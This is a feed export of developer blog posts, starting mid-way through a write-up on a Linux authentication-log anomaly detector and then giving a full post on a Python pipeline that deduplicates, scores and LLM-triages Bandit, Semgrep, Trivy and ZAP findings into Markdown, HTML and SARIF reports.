&lt;p&gt;P3 supports an &lt;code&gt;allowlist.yaml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;trusted_ips&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;10.0.1.5&lt;/span&gt;     &lt;span class="c1"&gt;# Prometheus exporter&lt;/span&gt;

&lt;span class="na"&gt;trusted_users&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;ansible&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;backup&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Allowlisted events are filtered before detection runs.&lt;/p&gt;

&lt;p&gt;That prevents known internal activity from creating unnecessary alerts.&lt;/p&gt;




&lt;h1&gt;
  
  
  What I Learned
&lt;/h1&gt;

&lt;p&gt;The interesting engineering problems weren't the detection rules.&lt;/p&gt;

&lt;p&gt;Those were relatively straightforward.&lt;/p&gt;

&lt;p&gt;The difficult parts were everything around them.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Sliding Windows Across Log Parses
&lt;/h3&gt;

&lt;p&gt;The detection window needs to survive across watch-mode cycles.&lt;/p&gt;

&lt;p&gt;That means storing &lt;strong&gt;timestamps&lt;/strong&gt;, not just counters.&lt;/p&gt;

&lt;p&gt;Otherwise, every scan starts from zero and the detector loses historical context.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Deduplication in Watch Mode
&lt;/h3&gt;

&lt;p&gt;A continuously running detector shouldn't alert on the same anomaly every minute.&lt;/p&gt;

&lt;p&gt;P3 hashes the identifying fields of an anomaly and alerts only when it sees a new event.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Log Format Variance
&lt;/h3&gt;

&lt;p&gt;Linux authentication logs aren't completely uniform.&lt;/p&gt;

&lt;p&gt;Debian-based systems commonly use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;while RHEL-based systems commonly use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/log/secure
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The syslog formatting can also vary.&lt;/p&gt;

&lt;p&gt;P3 handles both formats and also supports &lt;code&gt;journalctl&lt;/code&gt; JSON export.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Local LLM Latency
&lt;/h3&gt;

&lt;p&gt;Local AI is great for keeping sensitive logs on the machine, but inference isn't free.&lt;/p&gt;

&lt;p&gt;P3 uses a timeout of around 120 seconds for AI analysis.&lt;/p&gt;

&lt;p&gt;That means watch-mode intervals need to account for model latency, otherwise one scan can overlap with the next.&lt;/p&gt;




&lt;h1&gt;
  
  
  What Enterprise SIEMs Do Better
&lt;/h1&gt;

&lt;p&gt;Splunk, Datadog, and other enterprise SIEM platforms obviously have P3 beat in several areas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scale&lt;/li&gt;
&lt;li&gt;Cross-source correlation&lt;/li&gt;
&lt;li&gt;Long-term data retention&lt;/li&gt;
&lt;li&gt;Behavioral baselining&lt;/li&gt;
&lt;li&gt;Enterprise identity integration&lt;/li&gt;
&lt;li&gt;Team workflows&lt;/li&gt;
&lt;li&gt;Dashboards&lt;/li&gt;
&lt;li&gt;Alert management&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;P3 isn't trying to compete with them.&lt;/p&gt;

&lt;p&gt;It's a small, transparent tool for understanding authentication activity on a Linux system without requiring an entire SIEM stack.&lt;/p&gt;




&lt;h1&gt;
  
  
  Why Build This?
&lt;/h1&gt;

&lt;p&gt;The biggest benefit isn't just the detection engine.&lt;/p&gt;

&lt;p&gt;It's &lt;strong&gt;visibility&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I can see exactly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How a detection works&lt;/li&gt;
&lt;li&gt;Why an event was classified as suspicious&lt;/li&gt;
&lt;li&gt;Which MITRE technique it maps to&lt;/li&gt;
&lt;li&gt;What reputation data influenced the assessment&lt;/li&gt;
&lt;li&gt;What the local LLM recommended&lt;/li&gt;
&lt;li&gt;What gets sent to the alerting system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There's no black box hiding the detection logic.&lt;/p&gt;

&lt;p&gt;You can read the Python, change the thresholds, add a detection, modify the scoring, or remove the AI component entirely.&lt;/p&gt;

&lt;p&gt;That's the point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Build the security logic you understand.&lt;/strong&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  What's Next?
&lt;/h1&gt;

&lt;p&gt;A few things I'd like to add:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;More MITRE ATT&amp;amp;CK techniques&lt;/li&gt;
&lt;li&gt;Baseline-based anomaly detection&lt;/li&gt;
&lt;li&gt;Geo/IP clustering for distributed attacks&lt;/li&gt;
&lt;li&gt;Better correlation between successful and failed authentication&lt;/li&gt;
&lt;li&gt;Automatic firewall integration&lt;/li&gt;
&lt;li&gt;A lightweight web dashboard&lt;/li&gt;
&lt;li&gt;More structured incident-response output&lt;/li&gt;
&lt;li&gt;Feedback from analyst decisions to improve AI assessments&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The long-term goal is to make P3 useful as a lightweight first-response layer before an event reaches a full SIEM.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Auth logs contain a surprising amount of security intelligence.&lt;/p&gt;

&lt;p&gt;The challenge isn't collecting them.&lt;/p&gt;

&lt;p&gt;It's turning thousands of individual events into a small number of &lt;strong&gt;high-confidence, actionable signals&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That's what I wanted P3 to do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code:&lt;/strong&gt; &lt;a href="https://github.com/PyHackSecGP/p3-log-anomaly-detector" rel="noopener noreferrer"&gt;https://github.com/PyHackSecGP/p3-log-anomaly-detector&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you're building something similar, I'd be interested in how you're detecting authentication anomalies and handling the false-positive problem.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>mitreattack</category>
      <category>devsecops</category>
      <category>python</category>
    </item>
    <item>
      <title>I Built a SAST/DAST Triage Pipeline Because Scanner Noise Was Killing My Signal</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Mon, 31 Aug 2026 15:50:12 +0000</pubDate>
      <link>https://dev.to/greenbladesec/i-built-a-sastdast-triage-pipeline-because-scanner-noise-was-killing-my-signal-4126</link>
      <guid>https://dev.to/greenbladesec/i-built-a-sastdast-triage-pipeline-because-scanner-noise-was-killing-my-signal-4126</guid>
      <description>&lt;h1&gt;
  
  
  I Built a SAST/DAST Triage Pipeline Because Scanner Noise Was Killing My Signal
&lt;/h1&gt;

&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;I was running Bandit and Semgrep on a Python project and got &lt;strong&gt;847 findings&lt;/strong&gt; in a single scan.&lt;/p&gt;

&lt;p&gt;I opened the report.&lt;/p&gt;

&lt;p&gt;The top result was:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;B310: Audit url open for permitted schemes. Allowing use of often unexpected schemes.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The URL was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:11434
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hardcoded. In a config file. Not exploitable in this context.&lt;/p&gt;

&lt;p&gt;But the scanner doesn't know that.&lt;/p&gt;

&lt;p&gt;This is the reality of SAST tooling: &lt;strong&gt;high recall, low precision&lt;/strong&gt;. The philosophy is essentially &lt;em&gt;flag everything and let someone sort it out&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;At scale, that means hundreds of false positives per sprint, while the real SQL injection or path traversal can end up buried on page 6.&lt;/p&gt;

&lt;p&gt;I wanted to fix that.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;P1 — SAST/DAST Triage Tool.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It's a Python pipeline that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ingests findings from multiple security scanners&lt;/li&gt;
&lt;li&gt;Normalizes them into a common format&lt;/li&gt;
&lt;li&gt;Deduplicates overlapping findings&lt;/li&gt;
&lt;li&gt;Scores them using CWE-based heuristics&lt;/li&gt;
&lt;li&gt;Uses a local LLM to classify likely false positives&lt;/li&gt;
&lt;li&gt;Supports persistent suppressions&lt;/li&gt;
&lt;li&gt;Generates Markdown, HTML, and SARIF reports&lt;/li&gt;
&lt;li&gt;Integrates with GitHub Code Scanning&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The goal isn't to replace SAST/DAST scanners.&lt;/p&gt;

&lt;p&gt;It's to make their output &lt;strong&gt;useful to humans&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 1: Ingest
&lt;/h2&gt;

&lt;p&gt;P1 currently supports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bandit JSON&lt;/li&gt;
&lt;li&gt;Semgrep JSON&lt;/li&gt;
&lt;li&gt;Trivy JSON&lt;/li&gt;
&lt;li&gt;OWASP ZAP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each finding gets normalized into a common &lt;code&gt;Finding&lt;/code&gt; object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@dataclass&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Finding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
    &lt;span class="n"&gt;rule_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
    &lt;span class="n"&gt;cwe_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
    &lt;span class="n"&gt;severity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
    &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
    &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
    &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
    &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
    &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;active&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;          &lt;span class="c1"&gt;# active | likely_fp | suppressed
&lt;/span&gt;    &lt;span class="n"&gt;confidence&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt; &lt;span class="c1"&gt;# 0.0–1.0 from LLM
&lt;/span&gt;    &lt;span class="n"&gt;fp_reason&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes the rest of the pipeline scanner-agnostic.&lt;/p&gt;

&lt;p&gt;Adding another scanner becomes a parser problem instead of a pipeline redesign.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 2: Deduplicate
&lt;/h2&gt;

&lt;p&gt;This is where I think a lot of security pipelines fall down.&lt;/p&gt;

&lt;p&gt;If Bandit and Semgrep both flag the same &lt;code&gt;subprocess.call()&lt;/code&gt; on line 47, I don't want two findings.&lt;/p&gt;

&lt;p&gt;I want &lt;strong&gt;one finding with both tools attached to it&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The deduplication key is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cwe_id&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rule_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;norm_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the identity is based on:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CWE/rule + normalized file path + line number&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;—not the scanner-specific rule ID.&lt;/p&gt;

&lt;p&gt;Rule IDs are tool-specific, so they aren't useful for cross-scanner deduplication.&lt;/p&gt;

&lt;p&gt;The result might look conceptually like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CWE-78
src/utils.py:47
Tools: Bandit, Semgrep
Severity: HIGH
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One issue. Two scanners.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 3: Score
&lt;/h2&gt;

&lt;p&gt;Next comes prioritization.&lt;/p&gt;

&lt;p&gt;I'm using a simple &lt;strong&gt;CWE-based heuristic&lt;/strong&gt; rather than CVSS.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Priority&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Command injection / CWE-78&lt;/td&gt;
&lt;td&gt;HIGH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL injection / CWE-89&lt;/td&gt;
&lt;td&gt;HIGH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Path traversal / CWE-22&lt;/td&gt;
&lt;td&gt;HIGH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak cryptography&lt;/td&gt;
&lt;td&gt;MEDIUM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Debug artifacts&lt;/td&gt;
&lt;td&gt;LOW&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Why not CVSS?&lt;/p&gt;

&lt;p&gt;Because CVSS is useful when you have enough context to meaningfully assess things like exploitability, attack complexity, privileges required, and impact.&lt;/p&gt;

&lt;p&gt;At automated triage time, I often don't have that context.&lt;/p&gt;

&lt;p&gt;A lightweight heuristic is faster and, for this particular purpose, good enough to establish an initial priority.&lt;/p&gt;

&lt;p&gt;The important thing is that &lt;strong&gt;severity and triage priority are separate concepts&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 4: LLM Filter
&lt;/h2&gt;

&lt;p&gt;This is the interesting part.&lt;/p&gt;

&lt;p&gt;I send each finding to a &lt;strong&gt;local Ollama instance&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;No cloud API. No source code leaving the machine.&lt;/p&gt;

&lt;p&gt;The prompt is roughly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are a security engineer doing SAST triage.

Given this finding, determine if it is a true positive
or likely false positive.

Return JSON:

{
  "verdict": "true_positive|likely_fp",
  "confidence": 0.0-1.0,
  "reason": "string"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The model receives the finding metadata — title, description, file, and line number — rather than the entire source tree.&lt;/p&gt;

&lt;p&gt;That keeps prompts small and latency low.&lt;/p&gt;

&lt;p&gt;More importantly, this isn't intended to be an autonomous security decision-maker.&lt;/p&gt;

&lt;p&gt;The LLM is acting as a &lt;strong&gt;triage assistant&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Findings classified as &lt;code&gt;likely_fp&lt;/code&gt; with confidence above &lt;code&gt;0.8&lt;/code&gt; are filtered from the primary report, but they're still retained in the audit trail.&lt;/p&gt;

&lt;p&gt;That distinction matters.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 5: Suppressions
&lt;/h2&gt;

&lt;p&gt;Some findings are known-good and aren't going to become interesting on the next scan.&lt;/p&gt;

&lt;p&gt;For example, that B310 &lt;code&gt;urlopen&lt;/code&gt; warning isn't going to disappear just because I run the scanner again.&lt;/p&gt;

&lt;p&gt;I don't want to manually dismiss it every sprint.&lt;/p&gt;

&lt;p&gt;So P1 supports persistent suppressions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;suppressions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;rule_id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;B310&lt;/span&gt;
    &lt;span class="na"&gt;reason&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="s"&gt;All urlopen calls use scheme-validated HTTP/HTTPS&lt;/span&gt;
      &lt;span class="s"&gt;URLs from internal configuration.&lt;/span&gt;

  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;rule_id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;python.lang.security.audit.subprocess-without-shell&lt;/span&gt;
    &lt;span class="na"&gt;file_glob&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fuzz_harness.py"&lt;/span&gt;
    &lt;span class="na"&gt;reason&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="s"&gt;Subprocess use is intentional — this file is the&lt;/span&gt;
      &lt;span class="s"&gt;fuzzing harness.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Matching uses &lt;strong&gt;AND logic&lt;/strong&gt; when multiple fields are provided.&lt;/p&gt;

&lt;p&gt;So if both &lt;code&gt;rule_id&lt;/code&gt; and &lt;code&gt;file_glob&lt;/code&gt; are specified, both must match.&lt;/p&gt;

&lt;p&gt;The finding isn't deleted.&lt;/p&gt;

&lt;p&gt;Its status becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;suppressed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That means the audit trail stays intact.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 6: Output
&lt;/h2&gt;

&lt;p&gt;P1 currently generates three report formats.&lt;/p&gt;

&lt;h3&gt;
  
  
  Markdown
&lt;/h3&gt;

&lt;p&gt;Designed for humans:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Severity summary&lt;/li&gt;
&lt;li&gt;Active findings&lt;/li&gt;
&lt;li&gt;Likely false positives&lt;/li&gt;
&lt;li&gt;Suppressed findings&lt;/li&gt;
&lt;li&gt;LLM reasoning&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  SARIF 2.1.0
&lt;/h3&gt;

&lt;p&gt;This is the integration I care about most.&lt;/p&gt;

&lt;p&gt;The findings can be imported into GitHub Code Scanning, which means security issues can appear directly alongside code review.&lt;/p&gt;

&lt;p&gt;Developers don't have to leave GitHub, open another dashboard, and figure out which finding actually matters.&lt;/p&gt;

&lt;h3&gt;
  
  
  HTML
&lt;/h3&gt;

&lt;p&gt;A self-contained dark-theme report with no external dependencies.&lt;/p&gt;

&lt;p&gt;Useful for local reviews and sharing scan results as a single file.&lt;/p&gt;




&lt;h1&gt;
  
  
  Results
&lt;/h1&gt;

&lt;p&gt;I ran P1 against itself.&lt;/p&gt;

&lt;p&gt;The initial scan produced:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;17 raw findings&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After deduplication:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;14 findings&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After LLM triage:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4 findings requiring attention&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The remaining findings were mostly things like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A path traversal finding&lt;/li&gt;
&lt;li&gt;Hardcoded credential patterns in test fixtures&lt;/li&gt;
&lt;li&gt;Findings that were suppressed by policy&lt;/li&gt;
&lt;li&gt;Likely false positives&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Total pipeline runtime:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;~18 seconds&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's fast enough for local development and CI without making security scanning feel like a separate workflow.&lt;/p&gt;




&lt;h1&gt;
  
  
  Why Not Just Use Snyk?
&lt;/h1&gt;

&lt;p&gt;Snyk is excellent. So is Veracode.&lt;/p&gt;

&lt;p&gt;I'm not trying to argue that a small Python project is going to replace commercial application security platforms.&lt;/p&gt;

&lt;p&gt;The reason I built P1 is different.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Cost
&lt;/h3&gt;

&lt;p&gt;Commercial security platforms can be expensive for a solo developer or small organization.&lt;/p&gt;

&lt;p&gt;If you're already running open-source scanners, adding a lightweight triage layer can be much cheaper.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Data
&lt;/h3&gt;

&lt;p&gt;P1 uses a local LLM through Ollama.&lt;/p&gt;

&lt;p&gt;For environments where sending source code or security findings to a third-party cloud isn't acceptable, keeping the classification step local can be valuable.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Transparency
&lt;/h3&gt;

&lt;p&gt;I don't want a black-box label that says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;False positive: 94%&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;and nothing else.&lt;/p&gt;

&lt;p&gt;P1 stores the model's reasoning alongside the finding.&lt;/p&gt;

&lt;p&gt;You can inspect &lt;strong&gt;why&lt;/strong&gt; something was classified as a likely false positive.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Learning
&lt;/h3&gt;

&lt;p&gt;This is probably the biggest reason.&lt;/p&gt;

&lt;p&gt;I understand every stage of the pipeline.&lt;/p&gt;

&lt;p&gt;I can change the deduplication strategy.&lt;/p&gt;

&lt;p&gt;I can change the scoring model.&lt;/p&gt;

&lt;p&gt;I can inspect the prompts.&lt;/p&gt;

&lt;p&gt;I can add a new scanner.&lt;/p&gt;

&lt;p&gt;I can decide exactly what gets suppressed.&lt;/p&gt;

&lt;p&gt;It's not just a product I use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It's a security system I understand.&lt;/strong&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  What I Learned
&lt;/h1&gt;

&lt;p&gt;The biggest lesson wasn't about LLMs.&lt;/p&gt;

&lt;p&gt;It was about &lt;strong&gt;signal management&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Security scanners are optimized for finding things.&lt;/p&gt;

&lt;p&gt;Humans are optimized for deciding what matters.&lt;/p&gt;

&lt;p&gt;Those are different jobs.&lt;/p&gt;

&lt;p&gt;Trying to make the scanner itself perfectly precise isn't necessarily the right answer.&lt;/p&gt;

&lt;p&gt;A better architecture can be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────┐
│   Scanners  │
│ Bandit      │
│ Semgrep     │
│ Trivy       │
│ ZAP         │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│   Ingest &amp;amp;   │
│ Normalize   │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ Deduplicate │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│   Scoring   │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ Local LLM   │
│   Triage    │
└──────┬──────┘
       │
       ▼
┌─────────────────────┐
│ Suppress / Review   │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────┐
│ Markdown / HTML /   │
│ SARIF               │
└─────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scanner produces the signal.&lt;/p&gt;

&lt;p&gt;The triage layer makes the signal usable.&lt;/p&gt;




&lt;h1&gt;
  
  
  What's Next?
&lt;/h1&gt;

&lt;p&gt;There are a few things I want to add next:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Semgrep autofix integration&lt;/strong&gt; — let the LLM suggest a fix, not just classify the finding&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Actions integration&lt;/strong&gt; — optionally block PRs on CRITICAL findings&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Web UI&lt;/strong&gt; — review findings, approve suppressions, and track triage decisions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Better source-aware analysis&lt;/strong&gt; — give the model targeted source context when the finding can't be classified confidently from metadata alone&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Feedback loops&lt;/strong&gt; — use previous human triage decisions to improve future classification&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The last one is probably the most interesting.&lt;/p&gt;

&lt;p&gt;If a developer repeatedly marks a particular pattern as a false positive, the system should eventually learn that policy rather than asking the same question on every scan.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;847 findings sounds like a security success.&lt;/p&gt;

&lt;p&gt;It isn't, if nobody has the time to investigate them.&lt;/p&gt;

&lt;p&gt;The goal of P1 isn't to produce fewer findings.&lt;/p&gt;

&lt;p&gt;It's to produce &lt;strong&gt;fewer findings that humans actually need to think about&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That's the difference between having a security scanner and having a security workflow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code:&lt;/strong&gt; &lt;a href="https://github.com/PyHackSecGP/p1-sast-dast-triage" rel="noopener noreferrer"&gt;https://github.com/PyHackSecGP/p1-sast-dast-triage&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you're building something similar, I'd love to hear how you're handling scanner noise, deduplication, and false-positive triage.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devsecops</category>
      <category>opensource</category>
      <category>python</category>
    </item>
    <item>
      <title>Homelab Day: Nextcloud + Traefik + HSTS Headers That Actually Work</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Tue, 11 Aug 2026 01:09:21 +0000</pubDate>
      <link>https://dev.to/greenbladesec/homelab-day-nextcloud-traefik-hsts-headers-that-actually-work-4cb3</link>
